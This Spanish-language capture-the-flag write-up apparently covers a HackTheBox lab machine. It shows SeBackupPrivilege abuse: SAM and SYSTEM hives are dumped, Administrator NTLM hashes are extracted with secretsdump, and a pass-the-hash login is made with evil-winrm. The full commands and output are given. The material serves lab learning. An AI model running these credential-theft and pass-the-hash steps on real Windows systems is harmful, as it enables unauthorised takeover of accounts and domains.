Tenemos el privilegio SeBackupPrivilege habilitado. Esto significa que podríamos crear copias de los archivos SAM y SYSTEM (los cuales almacenan las credenciales en sistemas Windows) e intentar extraer las credenciales contenidas en ellas en nuestra máquina de atacantes basados en este blog que recomiendo leer. Primero creamos las copias de los archivos SAM y SYSTEM ejecutando:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save HKLM\SAM sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save HKLM\SYSTEM system
The operation completed successfully.

Ahora que hemos creado las copias, pasamos estos archivos desde la máquina víctima a nuestra máquina de atacantes utilizando el comando download de evil-winrm:

Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download sam

Info: Downloading C:\Users\emily.oscars.CICADA\Documents\sam to sam

Info: Download successful!

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download system

Info: Downloading C:\Users\emily.oscars.CICADA\Documents\system to system

Info: Download successful!

E intentamos extraer las credenciales almacenadas en estos archivos utilizando secretsdump.py de Impacket, pasando como argumento los archivos descargados:

❯ impacket-secretsdump -sam sam -system system LOCAL

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

Tenemos un hash para el usuario Administrator.

Revisamos si este hash NT corresponde al hash del usuario Administrator usando nuestro (ya a esta altura mejor amigo) NetExec:

❯ nxc smb 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\Administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!)

¡El hash funciona! Dado que obtuvimos el mensaje Pwn3d! para el protocolo smb en NetExec, esto significa que somos un usuario con privilegios en el sistema.

Utilizamos este hash para performar un ataque Pass The Hash para el usuario Administrator junto con evil-winrm:

❯ evil-winrm -i 10.10.11.35 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

cicada\administrator

GG. Estamos dentro como el usuario Administrator. Podemos extraer la flag root.txt en el directorio Administrator.

~Happy Hacking